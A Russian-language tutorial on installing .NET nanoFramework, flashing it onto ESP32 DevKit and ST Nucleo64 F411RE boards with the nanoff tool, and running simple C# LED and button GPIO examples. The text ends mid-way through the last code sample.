Для разработки приложений для nanoFramework потребуется Microsoft Visual Studio Community 2019 Version 16.11, установленная платформа .NET, ОС Windows 10 (в Windows 7 не открывается панель Device Explorer). Расширение устанавливается стандартно, через меню: **Extensions -> Manage Extensions**. Название расширения: [**.NET nanoFramework VS2019 Extension**](https://marketplace.visualstudio.com/items?itemName=nanoframework.nanoFramework-VS2019-Extension).
[](https://habrastorage.org/webt/xj/-f/z5/xj-fz5_hek5g7asmyykpwkuwk0a.png)
*Расширение nanoFramework для Microsoft Visual Studio*
После установки расширения появится окно **Device Explorer** (меню View -> Other Windows -> Device Explorer). В этом окне наиболее важные всего три кнопки: Ping Device, Device Capabilities, Erase App.
[](https://habrastorage.org/webt/os/6u/jb/os6ujb0yvrxnifhfwenm1eug2vm.png)
*Панель Device Explorer расширения nanoFramework*
Команды:
* **Ping Device** — проверяет доступность подключенного устройства/микроконтроллера;
* **Device Capabilities** — выводит в консоль список возможностей устройства;
* **Erase App** — удаляет загруженное приложение (nanoFramework остается на месте).
Загрузка среды nanoFramework в микроконтроллер ESP-WROOM-32
===========================================================
Для возможности исполнения .NET кода на микроконтроллере, необходимо его прошить соответствующей прошивкой nanoFramework. Прошивка осуществляется с помощью утилиты [nanoFirmwareFlasher](https://github.com/nanoframework/nanoFirmwareFlasher). Установим драйвера для микроконтроллера, утилиту и прошьем устройство.
### Шаг 1 — Установка драйвера для моста CP2102 USB to UART
Если при подключении отладочной платы ESP32 DevKit v1 по USB вы видите, что в **Диспетчере устройств** микроконтроллер находится в узле **Другие устройства**, значит необходимо установить драйвер.
[](https://habrastorage.org/webt/_x/sd/-4/_xsd-4gk1hyzcqkws8nsfvneak0.png)
*Диспетчер устройств*
Загружаем драйвер с официального сайта [CP210x USB to UART Bridge VCP Drivers](https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers) и устанавливаем. После установки драйвера, микроконтроллер доступен на порту **COM3**.
[](https://habrastorage.org/webt/r0/qu/ec/r0queckzfhquuhnmnipfsjstubk.png)
*Диспетчер устройств*
### Шаг 2 — Установка утилиты nanoFirmwareFlasher
Теперь устанавливаем утилиту **nanoFirmwareFlasher**, для этого запускаем командную строку от имени Администратора и выполняем команду:
```
dotnet tool install -g nanoff
```
Для вызова справки выполнить команду:
```
nanoff --help
```
Обновление утилиты выполняется следующей командой:
```
dotnet tool update -g nanoff
```
### Шаг 3 — Вывод идентификационной информации для отладочной платы
Иногда бывает сложно понять, какой перед тобой микроконтроллер из серии ESP32, особенно если он пришел с китайской площадки. Поэтому до прошивки можно вывести идентификационную информацию на экран командой:
```
nanoff --platform esp32 --serialport COM3 --devicedetails
```
где параметр **--platform** указывает на Target платформы, **--serialport** — номер COM порта, в данном случае COM3.
Результат выполнения команды:
[](https://habrastorage.org/webt/h-/nz/pr/h-nzprpso1s3ynbiqlj9yctykrq.png)
*Идентификационная информация отладочной платы*
Когда будет появляться фиолетовая строка "**\*\*\* Hold down the BOOT/FLASH button in ESP32 board \*\*\***", то в этот момент необходимо нажать на плате кнопку **Boot**, иначе команда не выполнится.
Из вывода видим, что на плате установлен чип ESP32-D0WDQ6 с 4 Мб Flash памяти, на борту есть Wi-Fi и BT.
### Шаг 4 — Выбор прошивки
Теперь переходим к самому сложному шагу. Для серии ESP32 существует несколько [различных прошивок (ESP32 Firmware versions).](https://docs.nanoframework.net/content/esp32/esp32_firmware_versions.html) Espressif выпускает чипы SoC, затем на их основе формирует модули. Обратимся к описанию [ESP32-S Series](https://www.espressif.com/en/products/modules) на официальном сайте. Модули серии ESP32 выпускаются на базе чипов:
* ESP32-D0WD-V3 (третья версия/ревизия);
* ESP32-D0WD (первая версия/ревизия — старый вариант);
* ESP32-D0WDQ6 (первая версия/ревизия — старый вариант);
* и другие.
Чипы ESP32-D0WD и ESP32-D0WDQ6 по функциональности ничем не отличаются, различие заключается только в форм-факторе самого чипа.
Рассмотрим различия между модулями. Существуют модули версии **ESP32-WROOM** и **ESP32-WROVER**, эти модули выпускаются как на базе ESP32-D0WD-V3, так и на ESP32-D0WD. Модуль ESP32-WROVER отличается от ESP32-WROOM только наличием памяти PSRAM. PSRAM — это дополнительный напаянный чип RAM помимо встроенной памяти. Обычно указывается в описании к плате и бывает размером 2 или 8 Мб. Дополнительная оперативная память необходима, если подключаете дисплей для вывода UI используя WPF (поддерживается в модулях ESP-WROVER-KIT с LCD ILI9341 на SPI интерфейсе).
**Доступные прошивки (target) nanoFramework:**
* [**ESP32\_REV0**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images-dev/packages/detail/raw/ESP32_REV0/1.7.1-preview.1012/) — (DEV) подходит для всех плат ESP32 без поддержки PSRAM;
* [**ESP32\_REV3**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images-dev/packages/detail/raw/ESP32_REV3/1.7.1-preview.1012/) — (DEV) подходит для всех плат ESP32 с чипом ESP32 версии/ревизии 3 без поддержки PSRAM;
* [**ESP32\_PSRAM\_REV0**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images-dev/packages/detail/raw/ESP32_PSRAM_REV3/1.7.1-preview.1012/) — (DEV) подходит для всех плат ESP32 с поддержкой PSRAM;
* [**ESP32\_PSRAM\_REV3**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images-dev/packages/detail/raw/ESP32_PSRAM_REV3/1.7.1-preview.1011/) — (DEV) подходит для всех плат ESP32 с чипом ESP32 версии/ревизии 3 и поддержкой PSRAM;
* [**ESP32\_WROOM\_32**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP32_WROOM_32/1.7.0.2/) — подходит для всех плат ESP32 c поддержкой PSRAM, но не поддерживает Bluetooth BLE из-за ограничений памяти в разделе IRAM, вызванных исправлениями PSRAM;
* [**ESP32\_WROOM\_32\_BLE**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP32_WROOM_32_BLE/1.7.0.2/) — подходит для всех плат ESP32, поддерживает Bluetooth BLE, но PSRAM отключен;
* [**ESP32\_WROOM\_32\_V3\_BLE**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP32_WROOM_32_V3_BLE/1.7.0.2/) — подходит для всех плат ESP32 с чипом ESP32 версии/ревизии 3, одновременно поддерживается PSRAM и Bluetooth BLE;
* **ESP32\_PSRAM\_REV3\_ILI9341** — (упоминается в документации, но прошивка не найдена) подходит для всех плат ESP32 с чипом ESP32 версии/ревизии 3 и поддержкой PSRAM, включает драйвер для LCD ILI9341;
* **ESP32\_PSRAM\_REV3\_ILI9342** — (упоминается в документации, но прошивка не найдена) подходит для всех плат ESP32 с чипом ESP32 версии/ревизии 3 и поддержкой PSRAM, включает драйвер для LCD ILI9342;
* [**ESP\_WROVER\_KIT**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP_WROVER_KIT/1.7.0.2/) — специальный вариант для отладочной платы ESP WROVER KIT. Включает в себя функции UI, поддержку PSRAM и драйвер для SPI LCD ILI9341;
* [**ESP32\_PICO**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP32_PICO/1.7.0.2/) — подходит для всех плат ESP32 с ESP32 PICO без поддержки PSRAM, например ESP32-PICO-KIT и M5Stack ATOM;
* **ESP32\_PICO\_ST7735S** — (упоминается в документации, но прошивка не найдена) подходит для платы ESP32 PICO, включает драйвер для LCD ST7735S;
* **ESP32\_PICO\_ST7789V** — (упоминается в документации, но прошивка не найдена) подходит платы для M5Stick C Plus, включает драйвер для LCD ST7789V;
* **ESP32\_REV0\_ILI9342** — (упоминается в документации, но прошивка не найдена) подходит платы для M5Stack, включает драйвер для ILI9342;
* [**ESP32\_LILYGO**](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP32_LILYGO/1.7.0.2/) — специальный вариант для отладочной платы LilyGO ESP32, включает поддержку Ethernet PHY.
Перенесем из документации сводную таблицу основных прошивок с описанием опций:
| Название прошивки | Wi-Fi | Ethernet | Bluetooth | PSRAM (Large heap) | ESP32 version |
| --- | --- | --- | --- | --- | --- |
| WROOM\_32 | ✔️ | | | ✔️ | 0 -> 3 |
| WROOM\_32\_BLE | ✔️ | | ✔️ | | 0 -> 3 |
| WROOM\_32\_V3\_BLE | ✔️ | | ✔️ | ✔️ | version 3 only |
| ESP\_WROVER\_KIT | ✔️ | | | ✔️ 2 Mb heap + Graphics | 0 -> 3 |
| EP32\_PICO | ✔️ | | ✔️ | | 0 -> 3 |
| ESP32\_LILYGO | ✔️ | ✔️ | ✔️ | | 0 -> 3 |
Рассмотрим информацию о чипе модуля ESP32 DevKit v1 (скриншот в предыдущем шаге):
* Отладочная плата построена на чипе ESP32-D0WDQ6 первой ревизии;
* Включена поддержка Wi-Fi, BT;
* Модуль PSRAM недоступен.
Исходя из полученной информации, подойдут прошивки: ESP32\_REV0 и ESP32\_WROOM\_32\_BLE. Из двух прошивок выбираем **ESP32\_WROOM\_32\_BLE**, т. к. поддержка Bluetooth BLE будет не лишней.
Если вы не знаете какую прошивку выбрать, то подойдет универсальная прошивка **ESP32\_REV0** и **ESP32\_PSRAM\_REV0**.
Полный каталог прошивок представлен в [Repository: nanoframework-images](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/). Список прошивок только для серии [Espressif ESP32 Series](https://docs.nanoframework.net/content/reference-targets/esp32.html). Общий список прошивок [GitHub nanoframework/nf-interpreter](https://github.com/nanoframework/nf-interpreter#firmware-for-reference-boards).
### Шаг 5 — Прошивка ESP-WROOM-32
Для прошивки необходимо подключить отладочную плату и выполнить команду:
```
nanoff --update --target ESP32_WROOM_32_BLE --serialport COM3
```
где параметр **--target** указывает на идентификатор прошивки, **--serialport** — номер COM порта, в данном случае COM3.
Результат выполнения команды:
[](https://habrastorage.org/webt/n3/la/sh/n3lashlkbujmfcwvk4v8xpby7ce.png)
*Прошивка ESP-WROOM-32*
Если прошивка не загрузится с репозитория, то можно повторить операцию или загрузить её со страницы **[ESP32\_WROOM\_32\_BLE](https://cloudsmith.io/~net-nanoframework/repos/nanoframework-images/packages/detail/raw/ESP32_WROOM_32_BLE/1.7.0.2/)**, и распаковать, например по пути: «c:\nanofw». В архиве будет несколько файлов:
[](https://habrastorage.org/webt/qk/sp/ma/qkspmayar6hidizwcebbrdvu-40.png)
*Распакованная прошивка для ESP-WROOM-32*
Для прошивки устройства, используя локальную прошивку, выполнить команду:
```
nanoff --update --clrfile "C:\nanofw\nanoCLR.bin" --serialport COM3
```
где параметр **--clrfile** — путь к файлу nanoCLR.bin, **--serialport** — номер COM порта, в данном случае COM3.
Не забываем во время прошивки нажимать на кнопку «Boot». Устройство готово для загрузки .NET программ!
Создание первого приложения
===========================
Запустим Visual Studio 2019 Community Edition и откроем окно **Device Explorer**. Выполним команду **Device Capabilities**. В результате выполнения команды в консоль будет выведена информация о возможностях микроконтроллера.
[](https://habrastorage.org/webt/gq/qo/qd/gqqoqdno8ihzsqluqy6jgvfhet4.png)
*Информация о возможностях ESP-WROOM-32*
**Полный список вывода команды Device Capabilities для ESP-WROOM-32**
System Information
HAL build info: nanoFramework running @ ESP32
Target: ESP32\_WROOM\_32\_BLE
Platform: ESP32
Firmware build Info:
Date: Aug 25 2021
Type: MinSizeRel build with IDF v3.3.5
CLR Version: 1.7.0.618
Compiler: GNU ARM GCC v5.2.0
OEM Product codes (vendor, model, SKU): 0, 0, 0
Serial Numbers (module, system):
00000000000000000000000000000000
0000000000000000
Target capabilities:
Has nanoBooter: NO
IFU capable: NO
Has proprietary bootloader: YES
AppDomains:
Assemblies:
Native Assemblies:
mscorlib v100.5.0.12, checksum 0x132BDB6F
nanoFramework.Runtime.Native v100.0.8.0, checksum 0x2307A8F3
nanoFramework.Hardware.Esp32 v100.0.7.2, checksum 0x1B75B894
nanoFramework.Hardware.Esp32.Rmt v100.0.3.0, checksum 0x9A53BB44
nanoFramework.Hardware.Esp32.Ble v100.0.0.0, checksum 0x1B75B894
nanoFramework.Devices.OneWire v100.0.3.4, checksum 0xA5C172BD
nanoFramework.Networking.Sntp v100.0.4.4, checksum 0xE2D9BDED
nanoFramework.ResourceManager v100.0.0.1, checksum 0xDCD7DF4D
nanoFramework.System.Collections v100.0.0.1, checksum 0x5A31313D
nanoFramework.System.Text v100.0.0.1, checksum 0x8E6EB73D
nanoFramework.Runtime.Events v100.0.8.0, checksum 0x0EAB00C9
EventSink v1.0.0.0, checksum 0xF32F4C3E
System.IO.FileSystem v1.0.0.0, checksum 0x3112D24C
System.Math v100.0.5.2, checksum 0xC9E0AB13
System.Net v100.1.3.4, checksum 0xC74796C2
Windows.Devices.Adc v100.1.3.3, checksum 0xCA03579A
System.Device.Dac v100.0.0.6, checksum 0x02B3E860
System.Device.Gpio v100.1.0.4, checksum 0xB6D0ACC1
Windows.Devices.Gpio v100.1.2.2, checksum 0xC41539BE
Windows.Devices.I2c v100.2.0.2, checksum 0x79EDBF71
System.Device.I2c v100.0.0.1, checksum 0xFA806D33
Windows.Devices.Pwm v100.1.3.3, checksum 0xBA2E2251
Windows.Devices.SerialCommunication v100.1.1.2, checksum 0x34BAF06E
System.IO.Ports v100.1.1.3, checksum 0x61B8380C
Windows.Devices.Spi v100.1.4.2, checksum 0x360239F1
System.Device.Spi v100.1.0.0, checksum 0x48031DC5
Windows.Devices.Wifi v100.0.6.2, checksum 0xA94A849E
Windows.Storage v100.0.2.0, checksum 0x954A4192
++++++++++++++++++++++++++++++++
++ Memory Map ++
++++++++++++++++++++++++++++++++
Type Start Size
++++++++++++++++++++++++++++++++
RAM 0x3ffe436c 0x00016800
FLASH 0x00000000 0x00400000
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++ Flash Sector Map ++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Region Start Blocks Bytes/Block Usage
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0 0x00010000 1 0x180000 nanoCLR
1 0x00190000 1 0x230000 Deployment
2 0x003C0000 1 0x040000 Configuration
+++++++++++++++++++++++++++++++++++++++++++++++++++
++ Storage Usage Map ++
+++++++++++++++++++++++++++++++++++++++++++++++++++
Start Size (kB) Usage
+++++++++++++++++++++++++++++++++++++++++++++++++++
0x003C0000 0x040000 (256kB) Configuration
0x00010000 0x180000 (1536kB) nanoCLR
0x00190000 0x230000 (2240kB) Deployment
Deployment Map
Empty
Из полученных данных наиболее важен список **Native Assemblies**. Данный список содержит сборки, которые мы можем использовать в своем проекте, все остальные библиотеки необходимо включать в проект в виде исходного кода. Дополнительно можно сформировать прошивку со своими нативными сборками на C++, но как это сделать будет в продолжении.
Создадим новое приложение, выберем тип проекта: **Blank Application (nanoFramework)**.
[](https://habrastorage.org/webt/ur/pa/xl/urpaxljhjguaiwcmmcn5simbpzm.png)
*Шаблон проекта Blank Application (nanoFramework)*
Шаблонный проект выведет отладочное сообщение в консоль.
[](https://habrastorage.org/webt/qs/ae/7i/qsae7izpufovv4v-vz52nnj9nwq.png)
*Шаблонный проект nanoFramework*
Запустим проект на отладку
[](https://habrastorage.org/webt/zn/41/ed/zn41edznctvsnsl7roigu1bdada.png)
*Отладка проекта nanoFramework*
В окне отладки будет выведено сообщение: «Hello from nanoFramework!».
Отлично, первое приложение запущено! Далее запустим стандартную программу мигания светодиодом.
Мигаем встроенным светодиодом
=============================
На плате ESP32 DevKit v1 размещён встроенный светодиод, подключенный к контакту GPIO2. Запустим программу Blink, аналогичную как на Arduino. Для этого создадим новый проект [nanoframework-esp32-blink](https://github.com/devdotnetorg/nanoFramework-samples/tree/master/nanoframework-esp32-blink), и добавим Nuget-пакет: [nanoFramework.System.Device.Gpio](https://docs.nanoframework.net/api/System.Device.Gpio.html). Исходный код возьмем из проекта [GitHub nanoframework/Samples — Blinky](https://github.com/nanoframework/Samples/tree/main/samples/Blinky).
**Файл [Program.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-blink/Program.cs)**.
```
public class Program
{
private static GpioController s_GpioController;
public static void Main()
{
s_GpioController = new GpioController();
// ESP32 DevKit: 4 is a valid GPIO pin in, some boards
// like Xiuxin ESP32 may require GPIO Pin 2 instead.
GpioPin led = s_GpioController.OpenPin(2,PinMode.Output);
led.Write(PinValue.Low);
while (true)
{
led.Write(PinValue.High);
Thread.Sleep(1000);
led.Write(PinValue.Low);
Thread.Sleep(1000);
}
}
}
```
**Разберем пример:**
* **s\_GpioController = new GpioController()** — инициализирует объект контроллера доступа к GPIO;
* **GpioPin led = s\_GpioController.OpenPin(2,PinMode.Output)** — метод OpenPin переводит контакт GPIO2 в режим вывода;
* **led.Write(PinValue.Low)** — подает логический «0» на контакт;
* **led.Write(PinValue.High)** — логическая «1», подано напряжение в 3.3V.
**Демонстрация работы программного кода:**
Любое устройство взаимодействует с внешним миром и нуждается в управлении, теперь добавим кнопку и реализуем новую логику.
Использование событий, устройство — кнопка
==========================================
К микроконтроллеру подключим кнопку и реализуем следующую логику: встроенный светодиод загорается и остается в положение включено при удержании нажатой кнопки. При отпускание кнопки светодиод гаснет. Светодиод будем использовать тот же контакт GPIO2. Кнопку подключим к контакту **GPIO25**, на плате обозначен как "**D25**". Создадим новый проект [nanoframework-esp32-button](https://github.com/devdotnetorg/nanoFramework-samples/tree/master/nanoframework-esp32-button), и добавим Nuget-пакет: [nanoFramework.System.Device.Gpio](https://docs.nanoframework.net/api/System.Device.Gpio.html).
[](https://habrastorage.org/webt/j1/xb/pv/j1xbpvm9pkiqb_w8xo9le7vxiqe.jpeg)
*Отладочная плата ESP32 DevKit v1 с подключенной кнопкой*
**Схема подключения кнопки к контакту D25 отладочной платы ESP32 DevKit v1**
[](https://habrastorage.org/webt/zr/l_/ik/zrl_ikvyb62waxmmak-czx81p4s.png)
**Файл [Program.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-esp32-button/Program.cs)**.
```
using System;
using System.Diagnostics;
using System.Threading;
using System.Device.Gpio;
namespace nanoframework_esp32_button
{
public class Program
{
//Board: ESP32 DevKit
static GpioController s_GpioController;
static int s_BluePinNumber=2;
static int s_UserButtonPinNumber=25;
public static void Main()
{
s_GpioController = new GpioController();
//setup blue LED
s_GpioController.OpenPin(s_BluePinNumber, PinMode.Output);
s_GpioController.Write(s_BluePinNumber, PinValue.Low);
//setup user button
s_GpioController.OpenPin(s_UserButtonPinNumber, PinMode.Input);
//s_GpioController.OpenPin(s_UserButtonPinNumber, PinMode.InputPullUp);
//Event registration
s_GpioController.RegisterCallbackForPinValueChangedEvent(
s_UserButtonPinNumber,
PinEventTypes.Falling | PinEventTypes.Rising,
UserButton_ValueChanged);
//Infinite
Thread.Sleep(Timeout.Infinite);
}
private static void UserButton_ValueChanged(object sender, PinValueChangedEventArgs e)
{
// read Gpio pin value from event
Debug.WriteLine("USER BUTTON (event) : " + e.ChangeType.ToString());
Debug.WriteLine("USER BUTTON (event) : " + ((((int)e.ChangeType) == 1) ? "Rising" : "Falling"));
//if (e.ChangeType != PinEventTypes.Rising) //for DFRobot
if (e.ChangeType == PinEventTypes.Rising)
{
s_GpioController.Write(s_BluePinNumber, PinValue.High);
}
else
{
s_GpioController.Write(s_BluePinNumber, PinValue.Low);
}
}
}
}
```
**Разберем пример:**
* **s\_GpioController.OpenPin(s\_UserButtonPinNumber, PinMode.Input)** — открывает контакт кнопки и выставляет режим работы на ввод (сигнал поступает от кнопки). Если необходимо исключить считывание внешних наводок, то можно использовать подтяжку к питанию **PinMode.InputPullUp** (не все контакты ввода поддерживают);
* **s\_GpioController.RegisterCallbackForPinValueChangedEvent** — обработка прерывания реализуется путем добавление Callback на изменение состояние контакта. Callback регистрируется в контроллере GPIO. Указываем номер контакта - **s\_UserButtonPinNumber**, событие срабатывание — Falling (изменение с «1» на «0») или Rising (изменение с «0» на «1»), название функции обработки — **UserButton\_ValueChanged**.
**Демонстрация работы программного кода:**
Основной принцип работы с nanoFramework понятен, теперь вернемся к микроконтроллеру **ST Nucleo64 F411RE** и прошьем его средой nanoFramework, и запустим простую программу использующую светодиод и кнопку.
Загрузка среды nanoFramework в микроконтроллер ST Nucleo64 F411RE
=================================================================
### Шаг 1 — Подключение ST Nucleo64 F411RE
До подключение микроконтроллеров STM32 необходимо установить драйвер для отладчика/программатора ST-Link, для этого устанавливаем драйвер [ST-LINK USB driver signed for Windows 7-10](https://www.st.com/en/development-tools/stsw-link009.html) и подключаем устройство. После подключения в Диспетчере устройств должно появиться устройство **ST-Link Debug**.
[](https://habrastorage.org/webt/dr/f1/1_/drf11_szuhai4nukynvvr22kkxm.png)
*Диспетчер устройств*
Выполним команду обнаружения устройств ST-Link:
```
nanoff --listjtag
```
Результат выполнения команды:
[](https://habrastorage.org/webt/7z/9k/7g/7z9k7gy1w08einq2fldbra1wajg.png)
*Обнаруженные устройства ST-Link*
Если плата появилась в списке, то можно переходить к следующему шагу.
### Шаг 2 — Обновление прошивки ST-Link
Если мы попытаемся загрузить nanoFramework в микроконтроллер, то возможно появится подобная ошибка, которая говорит о необходимости обновления прошивки ST-Link Debug.
[](https://habrastorage.org/webt/aa/wn/gn/aawngnpqqgg0ub72tybt9ap7pyw.png)
*Сообщение о необходимости обновления прошивки ST-Link Debug*
Загружаем и запускаем [STM32 ST-LINK utility](https://www.st.com/en/development-tools/stsw-link004.html). Выбираем в меню **ST-LINK -> Firmware update**.
[](https://habrastorage.org/webt/ge/bi/1b/gebi1bsj7sc08h3uhdm-m1bslv4.png)
*STM32 ST-LINK utility*
Нажимаем на кнопку **Device Connect**, затем **Yes >>>>**
[](https://habrastorage.org/webt/mf/jp/40/mfjp40e8b0bwpep0dxjbzdhz56e.png)
*STM32 ST-LINK utility*
Если прошивка успешно загрузиться будет сообщение **Update succesfull**.
[](https://habrastorage.org/webt/q2/o2/dm/q2o2dmythzl3xkrsj_0zzilb5-0.png)
*STM32 ST-LINK utility*
Если на этом этапе возникнут трудности, то можете посмотреть видео-инструкцию [ST Link Update — Web learning](https://www.youtube.com/watch?v=Tt-eyglKpIs).
### Шаг 3 — Прошивка ST Nucleo64 F411RE
Для прошивки необходимо выполнить команду:
```
nanoff --update --target ST_NUCLEO64_F411RE_NF --jtag
```
где параметр **--target** указывает на идентификатор прошивки [ST\_NUCLEO64\_F411RE\_NF](https://github.com/nanoframework/nf-Community-Targets).
[](https://habrastorage.org/webt/vn/-l/qu/vn-lqunxc3yhyn-w37wbjx2wvec.png)
*Прошивка ST Nucleo64 F411RE*
Теперь запустим Visual Studio Community и выполним команду **Device Capabilities**.
[](https://habrastorage.org/webt/my/ub/5s/myub5s7yl4vjii1d8xgse1esfsy.png)
*Информация о возможностях ST Nucleo64 F411RE*
**Полный список вывода команды Device Capabilities для ST Nucleo64 F411RE**
System Information
HAL build info: nanoCLR running @ ST\_NUCLEO64\_F411RE\_NF
Target: ST\_NUCLEO64\_F411RE\_NF
Platform: STM32F4
Firmware build Info:
Date: Oct 22 2021
Type: MinSizeRel build with ChibiOS v21.6.0.6
CLR Version: 1.7.0.96
Compiler: GNU ARM GCC v9.3.1
OEM Product codes (vendor, model, SKU): 0, 0, 0
Serial Numbers (module, system):
00000000000000000000000000000000
0000000000000000
Target capabilities:
Has nanoBooter: YES
nanoBooter: v21845.21845.21845.21845
IFU capable: NO
Has proprietary bootloader: NO
AppDomains:
Assemblies:
nanoframework\_stm32\_button, 1.0.0.0
mscorlib, 1.10.5.4
nanoFramework.Runtime.Events, 1.9.1.3
Windows.Devices.Gpio, 1.5.2.3
Native Assemblies:
mscorlib v100.5.0.12, checksum 0x132BDB6F
nanoFramework.Runtime.Native v100.0.8.0, checksum 0x2307A8F3
nanoFramework.Hardware.Stm32 v100.0.4.4, checksum 0x0874B6FE
nanoFramework.ResourceManager v100.0.0.1, checksum 0xDCD7DF4D
nanoFramework.System.Collections v100.0.0.1, checksum 0x5A31313D
nanoFramework.System.Text v100.0.0.1, checksum 0x8E6EB73D
nanoFramework.Runtime.Events v100.0.8.0, checksum 0x0EAB00C9
EventSink v1.0.0.0, checksum 0xF32F4C3E
System.Math v100.0.5.2, checksum 0xC9E0AB13
Windows.Devices.Adc v100.1.3.3, checksum 0xCA03579A
Windows.Devices.Gpio v100.1.2.2, checksum 0xC41539BE
Windows.Devices.I2c v100.2.0.2, checksum 0x79EDBF71
System.Device.I2c v100.0.0.1, checksum 0xFA806D33
Windows.Devices.SerialCommunication v100.1.1.2, checksum 0x34BAF06E
System.IO.Ports v100.1.2.0, checksum 0x564F2452
Windows.Devices.Spi v100.1.4.2, checksum 0x360239F1
System.Device.Spi v100.1.0.0, checksum 0x48031DC5
++++++++++++++++++++++++++++++++
++ Memory Map ++
++++++++++++++++++++++++++++++++
Type Start Size
++++++++++++++++++++++++++++++++
RAM 0x20000000 0x00020000
FLASH 0x08000000 0x00080000
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++ Flash Sector Map ++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Region Start Blocks Bytes/Block Usage
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
0 0x08000000 1 0x004000 nanoBooter
1 0x08004000 3 0x004000 nanoCLR
2 0x08010000 1 0x010000 nanoCLR
3 0x08020000 1 0x020000 nanoCLR
4 0x08040000 2 0x020000 Deployment
+++++++++++++++++++++++++++++++++++++++++++++++++++
++ Storage Usage Map ++
+++++++++++++++++++++++++++++++++++++++++++++++++++
Start Size (kB) Usage
+++++++++++++++++++++++++++++++++++++++++++++++++++
0x08000000 0x004000 (16kB) nanoBooter
0x08004000 0x03C000 (240kB) nanoCLR
0x08040000 0x040000 (256kB) Deployment
Deployment Map
Empty
Из полученных данных видно, что nanoCLR работает на [ChibiOS](https://ru.wikipedia.org/wiki/ChibiOS/RT) v21.6.
Запуск тестового примера со светодиодом и кнопкой на ST Nucleo64 F411RE
=======================================================================
В отличие от ESP32, на плате дополнительно ещё размещена кнопка, которую можно программировать под свои задачи. Светодиод на плате обозначен меткой **LD2 (Green LED)**, кнопка — **B1 (USER)**. Добавим немного другую логику работы отличную от примера для ESP32, встроенный светодиод загорается и выключается по нажатию на кнопку.
[](https://habrastorage.org/webt/ff/p7/hj/ffp7hjilsehhpq7rxun6e-5flj4.jpeg)
*Светодиод LD2 (Green LED) и кнопка B1 USER на плате ST Nucleo64 F411RE*
Создадим новый проект [nanoframework-stm32-button](https://github.com/devdotnetorg/nanoFramework-samples/tree/master/nanoframework-stm32-button), и добавим Nuget-пакет: [nanoFramework.Windows.Devices.Gpio](https://github.com/nanoframework/Windows.Devices.Gpio). Обратите внимание, пакет отличается от предыдущего примера, название — nanoFramework.**Windows**.\*. Как было сказано выше, API библиотек в которых присутствует **Windows**.\*, совпадают с .NET на Windows IoT Core, которая работает на Raspberry Pi. Поэтому возьмем готовый код [Push button — Raspberry Pi,](https://docs.microsoft.com/en-us/samples/microsoft/windows-iotcore-samples/push-button/) с сайта MS. Из изменений в коде будут только другие номера контактов (c Raspberry Pi не совпадают).
Светодиод **LD2 (Green LED)** подключен к контакту Arduino **D13**, что соответствует STM32 I/O **PA5 (pin 21)**. Контакт кнопки **B1 USER** соответствует STM32 I/O **PC13 (pin 2)**. В STM32 принято обращение к контактам по названию. Контакт **PA5**, где **P** — port, **A**-литера порта, **5** — номер контакта. Поэтому в программный код дополнительно будет добавлена функция конвертации буквенного обозначения контактов в номерной — **int PinNumber(char port, byte pin)**. Описание контактов [GitHub nanoframework/nf-Community-Targets/ChibiOS/ST\_NUCLEO64\_F411RE\_NF/](https://github.com/nanoframework/nf-Community-Targets/tree/main/ChibiOS/ST_NUCLEO64_F411RE_NF).
**Файл [Program.cs](https://github.com/devdotnetorg/nanoFramework-samples/blob/master/nanoframework-stm32-button/Program.cs)**.
```
using System;
using System.Diagnostics;
using System.Threading;
using Windows.Devices.Gpio;
namespace nanoframework_stm32_button
{
public class Program
{
private static int LED_PIN;
private static int BUTTON_PIN;
private static GpioPin ledPin;
private static GpioPin buttonPin;
private static GpioPinValue ledPinValue = GpioPinValue.High;
public static void Main()
{
// ST Nucleo64 F411RE: PA5 is LED_GREEN
LED_PIN = PinNumber('A', 5);
// ST Nucleo64 F411RE: PC13 is B1_USER
BUTTON_PIN = PinNumber('C', 13);
//Next as .NET for Raspberry Pi, Windows IoT Core
//Controller
var gpio = new GpioController();
//Init
ledPin = gpio.OpenPin(LED_PIN);
ledPin.SetDriveMode(GpioPinDriveMode.Output);
buttonPin = gpio.OpenPin(BUTTON_PIN);
buttonPin.SetDriveMode(GpioPinDriveMode.Input);
// Initialize LED to the OFF state by first writing a HIGH value
// We write HIGH because the LED is wired in a active LOW configuration
ledPin.Write(ledPinValue);
// Check if input pull-up resistors are supported
if (buttonPin.IsDriveModeSupported(GpioPinDriveMode.InputPullUp))
buttonPin.SetDriveMode(GpioPinDriveMode.InputPullUp);
else
buttonPin.SetDriveMode(GpioPinDriveMode.Input);
// Set a debounce timeout to filter out switch bounce noise from a button press
buttonPin.DebounceTimeout = TimeSpan.FromMilliseconds(50);
// Register for the ValueChanged event so our buttonPin_ValueChanged
// function is called when the button is pressed
buttonPin.ValueChanged += buttonPin_ValueChanged;
//Infinite
Thread.Sleep(Timeout.Infinite);
}
static void buttonPin_ValueChanged(object sender, GpioPinValueChangedEventArgs e)
{
Debug.WriteLine("USER BUTTON (event) : " + ((e.Edge ==GpioPinEdge.RisingEdge)? "RisingEdge" : "FallingEdge"));
// toggle the state of the LED every time the button is pressed
if (e.Edge == GpioPinEdge.FallingEdge)
{
ledPinValue = (ledPinValue == GpioPinValue.Low) ?
GpioPinValue.High : GpioPinValue.Low;
ledPin.Write(ledPinValue);
}
}
static int PinNumber(char port, byte pin)
{
if (port < 'A' || port > 'J')
